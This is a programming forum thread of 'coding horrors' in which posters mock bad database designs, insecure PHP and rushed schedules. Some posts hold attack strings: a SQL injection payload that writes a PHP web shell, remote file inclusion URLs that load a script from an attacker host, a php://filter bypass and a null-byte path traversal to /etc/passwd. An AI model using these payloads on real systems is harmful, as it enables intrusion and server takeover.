Register a SA Forums Account here!
JOINING THE SA FORUMS WILL REMOVE THIS BIG AD, THE ANNOYING UNDERLINED ADS, AND STUPID INTERSTITIAL ADS!!!

You can: log in, read the tech support FAQ, or request your lost password. This dumb message (and those ads) will appear on every screen until you register! Get rid of this crap by registering your own SA Forums Account and joining roughly 150,000 Goons, for the one-time price of $9.95! We charge money because it costs us money per month for bills, and since we don't believe in showing ads to our users, we try to make the money back through forum registrations.
 
  • Post
  • Reply
McGlockenshire
Dec 16, 2005

GOLLOCKS!

point of return posted:

The other pathology is the reason that Fast Eddie has to delete inactive threads. It's because if he doesn't, the database will start chugging due to having too many tables, as the database has a table for every thread.
I ... I've never seen this one happen in the real world. Nobody is this stupid. Nobody.

Please, please tell me you're making it up.

Adbot
ADBOT LOVES YOU

tef
May 30, 2004

-> some l-system crap ->

McGlockenshire posted:

I ... I've never seen this one happen in the real world. Nobody is this stupid. Nobody.

Please, please tell me you're making it up.

sorry, there are worse things :smith:

gonadic io
Feb 16, 2011

>>=
As somebody with no database experience whatsoever, how would a thread with its posts be represented? Each sub-forum a table, each thread a column and each new post a row?

Suspicious Dish
Sep 24, 2011

2020 is the year of linux on the desktop, bro
Fun Shoe

AlsoD posted:

As somebody with no database experience whatsoever, how would a thread with its posts be represented? Each sub-forum a table, each thread a column and each new post a row?

That is not how databases work. You could model it in three different tables: forums, threads and posts. A post would have a foreign key column to a thread, and a thread would have a foreign key column to a forum.

csammis
Aug 26, 2003

Mental Institution

AlsoD posted:

As somebody with no database experience whatsoever, how would a thread with its posts be represented? Each sub-forum a table, each thread a column and each new post a row?

code:
SA_FORUMS
=========
ForumID  Title
1        GBS
202      CoC

SA_THREADS
==========
ThreadID  ForumID  Title
280371    202      Coding horrors: post the code that makes you laugh (or cry)

SA_POSTS
========
PostID     ThreadID  AuthorID  Content
399078901  280371    172603    "As somebody with no database experience whatsoever,"
It's pretty straightforward as databases go

nielsm
Jun 1, 2009



csammis posted:

code:
SA_FORUMS
=========
ForumID  Title
1        GBS
202      CoC

SA_THREADS
==========
ThreadID  ForumID  Title
280371    202      Coding horrors: post the code that makes you laugh (or cry)

SA_POSTS
========
PostID     ThreadID  AuthorID  Content
399078901  280371    172603    "As somebody with no database experience whatsoever,"
It's pretty straightforward as databases go

To expand some more on it, the basic idea is that you just lump all homogenous data together (all posts in threads are alike, so they all go together), have some properties/columns you can group the data by, and then the DBMS makes sure to store the data for you in a way so it's efficient to pull out all posts made in one specific thread or all posts made by one specific person, or similar.

Bruegels Fuckbooks
Sep 14, 2004

Now, listen - I know the two of you are very different from each other in a lot of ways, but you have to understand that as far as Grandpa's concerned, you're both pieces of shit! Yeah. I can prove it mathematically.

Suspicious Dish posted:

That is not how databases work. You could model it in three different tables: forums, threads and posts. A post would have a foreign key column to a thread, and a thread would have a foreign key column to a forum.

It's actually hard for me to imagine how you would model the DB so each thread has its own table. That must be pretty nasty.

Dicky B
Mar 23, 2004

I'll start us off...
code:
THREAD_2803713
==============
ThreadTitle       PostID  Author           Content
Coding horrors    NULL    NULL             NULL
NULL              1       Ranma            I remember there used to be a thread like this,
NULL              2       CeciPipePasPipe  How come the guy is still employed?

baquerd
Jul 2, 2007

by FactsAreUseless

Dicky B posted:

I'll start us off...

I counter with

code:
$sqlQuery = "select * from THREAD_" . $_GET["threadid"]

Cocoa Crispies
Jul 20, 2001

Vehicular Manslaughter!

Pillbug

baquerd posted:

I counter with

code:
$sqlQuery = "select * from THREAD_" . $_GET["threadid"]

&threadid=888%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%2C'%3C%3Fphp%20system(%24_GET%5B%22command%22%5D)%3B%20%3F%3E'%20INTO%20OUTFILE%20'%2Fvar%2Fwww%2Fvictim.com%2Fshell.php'%2F*

Impotence
Nov 8, 2010
Lipstick Apathy

baquerd posted:

I counter with

code:
$sqlQuery = "select * from THREAD_" . $_GET["threadid"]

code:
// Use PDO for security
$sql = "select * from THREAD_" . $_GET["threadid"];
$db->query($sql);

tef
May 30, 2004

-> some l-system crap ->
code:
$sqlQuery = $_GET["sql_query"]
and the query is constructed in javascript and sent with ajax

tef fucked around with this message at 18:58 on Dec 31, 2011

Coffee Mugshot
Jun 26, 2010

by Lowtax

tef posted:

code:
$sqlQuery = $_GET["sql_query"]
and the query is constructed in javascript and sent with ajax

Is this how you say "Come at me, bro" in PHP?

Impotence
Nov 8, 2010
Lipstick Apathy

Rainbow Pony Deluxe posted:

Is this how you say "Come at me, bro" in PHP?

No, this is the tvtropes forum javascript library in a nutshell

Hammerite
Mar 9, 2007

And you don't remember what I said here, either, but it was pompous and stupid.
Jade Ear Joe

AlsoD posted:

As somebody with no database experience whatsoever, how would a thread with its posts be represented? Each sub-forum a table, each thread a column and each new post a row?

As a general rule, if your application's everyday tasks involve creating and dropping (non-temporary) tables, or the number of tables in your database at any one time varies according to the application's state, you are doing something wrong.

Each table in the database corresponds to things of a specific type. It is always wrong to have a system where there are multiple tables, one for each thing. (It is ok to have a system where there are a fixed number of tables, each table being for things of a specific type.)

point of return
Aug 13, 2011

by exmarx
Fast Eddie's idea of "fixing" Solstace's page. As you can see, by replacing the hottips with something that doesn't parse, you, too, can claim your page is fixed.

Look Around You
Jan 19, 2009

point of return posted:

Fast Eddie's idea of "fixing" Solstace's page. As you can see, by replacing the hottips with something that doesn't parse, you, too, can claim your page is fixed.

Haha that's amazing.

salted hash browns
Mar 26, 2007
ykrop

BonzoESC posted:

&threadid=888%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%2C'%3C%3Fphp%20system(%24_GET%5B%22command%22%5D)%3B%20%3F%3E'%20INTO%20OUTFILE%20'%2Fvar%2Fwww%2Fvictim.com%2Fshell.php'%2F*

How would a remote attacker know enough about the data schema to create a UNION query and copy the shell to that location?

Unless you are just doing this hypothetically.

Hughlander
May 11, 2005

iamthexander posted:

How would a remote attacker know enough about the data schema to create a UNION query and copy the shell to that location?

Unless you are just doing this hypothetically.

Some other system() commands previously to dump the schema!

kitten smoothie
Dec 29, 2001

iamthexander posted:

How would a remote attacker know enough about the data schema to create a UNION query and copy the shell to that location?

Unless you are just doing this hypothetically.
That clearly was hypothetical, but there are so many bad examples of how to write PHP out there that it's probably pretty easy to find patterns to search for and exploit.

I remember 8 or 9 years ago I ran a web server that I let other folks use. One guy I lent web space to created a "templating engine" where their URLs were all stuff along the lines of:

code:
http://badly-written-site.us/index.php?page=hello.php
index.php had a wrapper for their site skin, and then would include() a file "hello.php." He did no file checking to confirm that hello.php was a real file on the filesystem. And of course by including it, it executed whatever it loaded. I'm pretty sure he wrote this based on a lovely howto he found somewhere.

I stupidly forgot to turn off allow_url_fopen in the PHP install, which was enabled by default. So an attacker just had to hit
code:
http://badlywrittensite.us/index.php?page=http://evil-attackers-lair.ru/download-and-install-ddos-bots.php
and next thing I know I got a phone call from my colo demanding answers as to why my machine was pushing 100 Mbps worth of garbage at IBM's website.

Thankfully this "feature" is no longer enabled by default in PHP. In PHP5 they split the access controls out for fopen() and include(), so under the default configuration, you can fopen() a URL but you cannot include() a URL.

kitten smoothie fucked around with this message at 21:30 on Jan 2, 2012

Suspicious Dish
Sep 24, 2011

2020 is the year of linux on the desktop, bro
Fun Shoe

kitten smoothie posted:

Thankfully this "feature" is no longer enabled by default in PHP. In PHP5 they split the access controls out for fopen() and include(), so under the default configuration, you can fopen() a URL but you cannot include() a URL.

allow_url_fopen doesn't stop it, because it still allows php:/// URLs:

code:
[url]http://badlywrittensite.us/index.php?page=php://filter/resource=http://evil-attackers-lair.ru/download-and-install-ddos-bots.php[/url]

tef
May 30, 2004

-> some l-system crap ->

kitten smoothie posted:

code:
http://badly-written-site.us/index.php?page=hello.php

This is a horror unto itself

quote:

Thankfully this "feature" is no longer enabled by default in PHP. In PHP5 they split the access controls out for fopen() and include(), so under the default configuration, you can fopen() a URL but you cannot include() a URL.

And soon, they'll get rid of the "feature" that allows you to pass untrusted user-input to file systems operations too :swoon:


Suspicious Dish posted:

allow_url_fopen doesn't stop it, because it still allows php:/// URLs:


ahahahaha!

Cocoa Crispies
Jul 20, 2001

Vehicular Manslaughter!

Pillbug

iamthexander posted:

How would a remote attacker know enough about the data schema to create a UNION query and copy the shell to that location?

Unless you are just doing this hypothetically.

Trial and error for the right number of columns in the union (it's a natural/counting number, :cmon:); and the path can be done by seeing if they're on dreamhost and guessing or by using something that throws up an error page.

Edit: I had a metasploit 2 (the perl one, not the ruby one) module for doing this against phpnuke at one point.

tef
May 30, 2004

-> some l-system crap ->
Well the obvious answer is reading the source (because it's open, or because of another vulnerability). Often with sql injection you can read the data schema out. Other times you get error messages with stack traces with column names. You can use wordlists too, and they're astonishingly effective.

There is a whole lot of work around 'Blind SQL Injection too'. I haven't really been keeping up with this in the last decade so there is probably a few techniques I'm missing out.

Scaramouche
Mar 26, 2001

SPACE FACE! SPACE FACE!

It depends on what the exploiter wants to do. If they're looking for something specific like CC#s then yeah, they'll probably grab the schema/sys.tables. Most of the exploits I see now though are all about spreading viruses/other exploits, so they just prepend an iframe (with payload) to any text field and then TRUNC the rest.

kalleth
Jan 28, 2006

C'mon, just give it a shot
Fun Shoe
Meeting in.. ooh, 7h or thereabouts, where we all (developers) get round a table and tell them (Management(tm)) that we've finished testing. Just testing. Not actually fixed the 120-odd issues we found during the test cycle yet, but ho hum.

What's the horror? The fact that they expected a 4 week test+fix cycle to b e done in 1 week, over christmas, when I'm the only one working out of 4 developers.

Did I mention that they want a "released" version for an install on Friday?

/kills self

The Gripper
Sep 14, 2004
i am winner

kalleth posted:

Meeting in.. ooh, 7h or thereabouts, where we all (developers) get round a table and tell them (Management(tm)) that we've finished testing. Just testing. Not actually fixed the 120-odd issues we found during the test cycle yet, but ho hum.

What's the horror? The fact that they expected a 4 week test+fix cycle to b e done in 1 week, over christmas, when I'm the only one working out of 4 developers.

Did I mention that they want a "released" version for an install on Friday?

/kills self
Those are the best, why do people even ask for a schedule if they've already got their own schedule that they'll assume you'll stick to regardless?

Similar-but-different situation as a contractor a few years ago, we wrote up a schedule and rough plan for a massive project replacing an existing ERP with a new, re-designed one. Our project manager passed the schedule on to the guy that was writing up the proposal and meeting with the potential client, and the guy saw the point "Planning Stage Complete: 12/03/06" and read that as "WE ARE PLANNING TO COMPLETE THE PROJECT ON THIS DAY", completely ignoring the 5+ months of work listed (and dated) after that on the same page.

The client accepted the proposal, the guy came to us and said "It was accepted, the schedule is perfect so just stick to that" and on the 12th the client turned up expecting the entire thing complete.

Jabor
Jul 16, 2010

#1 Loser at SpaceChem

tef posted:

And soon, they'll get rid of the "feature" that allows you to pass untrusted user-input to file systems operations too :swoon:

My favourite was the exploit where if you had a PHP file doing something like:

code:
var $file_to_include = $_GET["page"];
include("include/" + $file_to_include + ".php");
You would make a request to:

code:
foo.bar/butts.php?page=../../../etc/passwd\0lol
(where the \0 is a null character), and ... well, I'm sure you can see where this is going.

tef
May 30, 2004

-> some l-system crap ->
the poison null byte attack.

in perl, they would check the file extension with a regular expression, (which would deal with the null byte), before passing it to open (which would truncate it).

code:
>>> open("butt\0")
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: file() argument 1 must be encoded string without NULL bytes, not str
python :swoon:

Zombywuf
Mar 29, 2008

That error message is the real horror. It is most definitely not a TypeError.

gonadic io
Feb 16, 2011

>>=

Zombywuf posted:

That error message is the real horror. It is most definitely not a TypeError.

Are strings with a '\0' as the last character a different type to other strings? That would explain the message (as well as being a horror in its own right).


VVVVV: in Haskell, a strongly typed language, type and kind mean very different things. A kind is, essentially, the type of a type. What do you mean?

gonadic io fucked around with this message at 19:15 on Jan 3, 2012

Plorkyeran
Mar 22, 2007

To Escape The Shackles Of The Old Forums, We Must Reject The Tribal Negativity He Endorsed
A string with embedded nulls is most definitely not a value of type null-terminated-string (seeing as how it's not even representable in that type), so how is passing such a thing to a function expecting a null-terminated-string not a type error?

Is this sort of like the hungarian thread where people insisted that there was an inherent distinction between the "type" and "kind" because they're used to weak type systems?

Zombywuf
Mar 29, 2008

Plorkyeran posted:

A string with embedded nulls is most definitely not a value of type null-terminated-string (seeing as how it's not even representable in that type), so how is passing such a thing to a function expecting a null-terminated-string not a type error?

If python had that kind of dependant structural typing in any way shape or form then you might be on to something here. It doesn't however.

Cocoa Crispies
Jul 20, 2001

Vehicular Manslaughter!

Pillbug

tef posted:

the poison null byte attack.

in perl, they would check the file extension with a regular expression, (which would deal with the null byte), before passing it to open (which would truncate it).

code:
>>> open("butt\0")
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: file() argument 1 must be encoded string without NULL bytes, not str
python :swoon:
code:
0 :> f = File.open "/tmp/fartz\0"
ArgumentError: string contains null byte

tef
May 30, 2004

-> some l-system crap ->
python :hf: ruby

Molog
Mar 4, 2004
Title text

kalleth posted:

Meeting in.. ooh, 7h or thereabouts, where we all (developers) get round a table and tell them (Management(tm)) that we've finished testing. Just testing. Not actually fixed the 120-odd issues we found during the test cycle yet, but ho hum.

What's the horror? The fact that they expected a 4 week test+fix cycle to b e done in 1 week, over christmas, when I'm the only one working out of 4 developers.

Did I mention that they want a "released" version for an install on Friday?

/kills self

This is so familiar.

Powerful Two-Hander
Mar 10, 2004

Mods please change my name to "Tooter Skeleton" TIA.


I was digging around one of our application DBs today rather than do the work I'm supposed to be doing and I've found the work of some kind of insane genius. This app is from 2004 and has cripplingly poor search performance that we've never really spent time looking into in any detail, it turns out that the search is hitting the DB roughly as follows....

1) Aspx page makes a call to a stored procedure with the search criteria, there can be anything up to 40 of these although some are always null, others don't exist or can't actually be specified in the web front end.

2) The procedure defines a shitload of strings.

3) The strings are used to "dynamically" build a query by churning through nearly 1000 lines of SQL that works something like this:
code:
if @query1 =''
then @query1='from sometable'+'where'+'somevalue='@queryinput
else
@query1=@query1+@JoinOperator+'somevalue='@queryinput
end
This is done for every one of the 40 inputs except the ones that don't exist. The ultimate result is three strings(one of which is a hundreds of characters long query) that get returned to the web layer which then seems to join them together again, scrub out the bits that don't work (because some of the built strings include "--" comment characters so you can't actually run the output using "exec @query1", that would be too easy) and runs the query. 50% of the returned fields are empty strings with the comment "don't know how this will work" next to them.

4) The query times out because it includes a call to a scalar function that uses a cursor to pull out related data (across a linkserver) for every row of the result set. If you use an instring text search for something fairly generic (i.e. the kind of thing you might search for) this takes the execution time directly on the DB from like 1 second to 3+minutes as it churns through thousands of calls to this stupid cursor function. The page timeout is 30 seconds.

All I can think is that it was intended to provide some kind of query optimisation by cutting out excessive JOIN operations for queries with small numbers of attributes, but why on earth would you do it like this.

Bonus: The DB has a function declared to convert a passed date into the format 03-Jan-2012 by using string manipulation. This is functionally identical to the results of convert(varchar,getdate(),106) :suicide:

Edit: Extra bonus, the view used for the search is badly written so all queries have to have "DISTINCT" whacked on the front of them to return sane results which is always a mark of a well thought out db structure.

Powerful Two-Hander fucked around with this message at 23:25 on Jan 3, 2012

Thel
Apr 28, 2010

Powerful Two-Hander posted:

:suicide:

Oh god. That said, the dynamic query isn't the problem here, if you want poo poo to work you need to scrap the one-line-at-a-time methodology and return the entire resultset at once.

Reminds me of a TDWTF where an address-book application was coded so that to search for users was to run a query for users, then for each user call a stored procedure to get their address.

Bozart
Oct 28, 2006

Give me the finger.

Matlab 2011b Help on MException, the matlab error class posted:

code:
 MException  Capture error information.
 ...
    % Example 1 - Check the identifier of a MATLAB exception.
        try
          fid = fopen('noSuchFile.dat');
          mydata = fread(fid);
          fclose(fid);
        catch ME
          if strcmp(ME.identifier, 'MATLAB:FileIO:InvalidFid')
             disp('Could not find the specified file.');
             rethrow(ME);
          end
        end

The f* functions are basically the same as in C. fread doesn't throw errors if it is given a valid file id, and there is some other error, such as a network outage. There are other errors that can occur during read (out of memory, etc.) that are passed silently. And as a nitpick the disp line is redundant. This would just be run of the mill bad but it is literally the example that Matlab gives for error handling in their own documentation, for a relatively new error handling technique that they want people to use.

Adbot
ADBOT LOVES YOU

Zamujasa
Oct 27, 2010



Bread Liar
From the desk behind me:

code:
// $recipients is a 7000+ value array of SMS numbers
$batches = ceil(count($recipients) / 1000);

for ($i = 0; $i < $batches; $i++) {
  send_text_messages(
    array_slice($recipients, $i * 1000, $i * 1000 + 999)
  );

  sleep(10);
}
array_slice does not work that way. The true horror behind this one is that there was no testing involved (i.e., a simple "print_r" of the sliced array), and it was run live immediately. :ughh:

Zamujasa fucked around with this message at 10:00 on Jan 6, 2012

  • 1
  • 2
  • 3
  • 4
  • 5
  • Post
  • Reply